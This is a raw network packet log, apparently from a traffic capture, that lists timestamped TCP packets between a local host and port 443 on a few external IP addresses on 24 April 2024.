Apr 24, 2024 15:43:09.534374952 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.534591913 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.534596920 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.534805059 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.534862041 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.534868002 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.535012007 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.535065889 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.535072088 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.535603046 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.535675049 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.535681009 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.535763979 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.535815954 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.535820961 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.536396980 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.536454916 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.536461115 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.536703110 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.536765099 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.536772013 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.536933899 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.537012100 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.537019014 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.537302971 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.537367105 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.537372112 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.537559032 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.537758112 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.537817001 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.537823915 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.537914038 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.537919998 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.538256884 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.538315058 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.538321018 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.538453102 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.538543940 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.538548946 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.539104939 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.539160013 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.539167881 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.539371967 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.539457083 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.539463043 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.539644003 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.539752960 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.539758921 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.539865971 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.539938927 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.539944887 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.540173054 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.540401936 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.540405035 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.540430069 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.540472031 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.540503979 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.540970087 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.541055918 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.541063070 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.541186094 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.541234016 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.541239023 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.541361094 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.541404963 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.541410923 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.541784048 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.541842937 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.541848898 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.541954994 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.541987896 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.542046070 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.542051077 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.542152882 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.542156935 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.542634010 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.542699099 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.542705059 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.542787075 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.542850018 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.542856932 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.543450117 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.543503046 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.543514967 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.543520927 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.543562889 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.543567896 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.544487000 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.544542074 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.544548035 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.547018051 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.547044992 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.547102928 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.547111988 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.547142982 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.547172070 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.549376965 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.549407005 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.549463987 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.549470901 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.549500942 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.551878929 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.551939964 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.551954985 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.551974058 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.552045107 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.555286884 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.555341005 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.555380106 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.555387020 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.555457115 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.558159113 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.558216095 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.558260918 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.558269024 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.558295012 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.558315992 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.560298920 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.560342073 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.560384989 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.560395956 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.560437918 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.681837082 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.681904078 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.681950092 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.681962967 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.682003021 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.683738947 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.683785915 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.683816910 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.683824062 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.683865070 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.686266899 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.686310053 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.686338902 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.686346054 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.686378002 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.688942909 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.688986063 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.689013958 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.689022064 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.689076900 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.691591024 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.691725969 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.691736937 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.691746950 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.691788912 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.694173098 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.694221973 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.694259882 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.694266081 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.694312096 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.696726084 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.696789026 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.696810007 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.696815968 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.696845055 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.699314117 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.699354887 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.699404001 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.699410915 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.699474096 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.700009108 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.700076103 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.700129986 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.700304031 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.700349092 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.700355053 CEST	443	49754	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.700377941 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.700413942 CEST	49754	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.796240091 CEST	49757	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:09.796294928 CEST	443	49757	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:09.796389103 CEST	49757	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:09.796678066 CEST	49757	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:09.796689987 CEST	443	49757	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:09.803560972 CEST	443	49756	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.803787947 CEST	49756	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.803797960 CEST	443	49756	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.807312012 CEST	443	49756	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.807409048 CEST	49756	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.807796001 CEST	49756	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.807946920 CEST	49756	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.807969093 CEST	443	49756	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.853121042 CEST	49756	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.853135109 CEST	443	49756	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.881139040 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.881230116 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.881346941 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.881567955 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:09.881607056 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:09.901106119 CEST	49756	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.130918026 CEST	443	49757	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:10.131215096 CEST	49757	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:10.131232977 CEST	443	49757	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:10.134510994 CEST	443	49757	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:10.134573936 CEST	49757	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:10.135349989 CEST	49757	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:10.135426044 CEST	443	49757	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:10.135854006 CEST	49757	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:10.135860920 CEST	443	49757	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:10.155590057 CEST	443	49756	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.155766010 CEST	443	49756	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.155879974 CEST	49756	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.156368017 CEST	49756	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.156387091 CEST	443	49756	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.189091921 CEST	49757	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:10.189095020 CEST	49680	443	192.168.2.17	20.189.173.13
Apr 24, 2024 15:43:10.197873116 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.198225021 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.198263884 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.199408054 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.200134993 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.200371027 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.200383902 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.200474977 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.200681925 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.200725079 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.501780033 CEST	443	49757	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:10.502000093 CEST	443	49757	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:10.502089024 CEST	443	49757	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:10.502161026 CEST	49757	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:10.502176046 CEST	443	49757	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:10.502252102 CEST	49757	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:10.502254963 CEST	443	49757	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:10.502280951 CEST	443	49757	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:10.502330065 CEST	49757	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:10.502366066 CEST	443	49757	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:10.502510071 CEST	443	49757	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:10.502557039 CEST	49757	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:10.502563000 CEST	443	49757	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:10.502656937 CEST	443	49757	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:10.502806902 CEST	49757	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:10.502811909 CEST	443	49757	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:10.503161907 CEST	443	49757	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:10.503249884 CEST	443	49757	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:10.503300905 CEST	49757	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:10.503307104 CEST	443	49757	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:10.503462076 CEST	443	49757	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:10.503524065 CEST	49757	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:10.503652096 CEST	49757	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:10.503665924 CEST	443	49757	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:10.564706087 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.564832926 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.564922094 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.564920902 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.564982891 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.565140963 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.565202951 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.565220118 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.565274954 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.565287113 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.565443039 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.565844059 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.565906048 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.565918922 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.565973043 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.565983057 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.566421986 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.566725016 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.566788912 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.566801071 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.566859007 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.566874027 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.567411900 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.567698002 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.567763090 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.567775011 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.567832947 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.567842960 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.568280935 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.568449020 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.568460941 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.568988085 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.569380045 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.569446087 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.569457054 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.569508076 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.569518089 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.569662094 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.570151091 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.570214987 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.570226908 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.570287943 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.570297956 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.570672989 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.570802927 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.570813894 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.571324110 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.571830034 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.571897984 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.571909904 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.571970940 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.571980953 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.572242975 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.572417021 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.572473049 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.572484970 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.572539091 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.572551966 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.572638035 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.572853088 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.572907925 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.572921038 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.572971106 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.572981119 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.573123932 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.573272943 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.573333025 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.573344946 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.573401928 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.573411942 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.573580980 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.573736906 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.573797941 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.573808908 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.573862076 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.573872089 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.574084044 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.574223042 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.574281931 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.574294090 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.574342966 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.574352026 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.574522972 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.574691057 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.574752092 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.574763060 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.574820995 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.574831009 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.574964046 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.575124025 CEST	49759	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:10.575134039 CEST	443	49759	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:10.575292110 CEST	443	49759	104.17.2.184	192.168.2.17
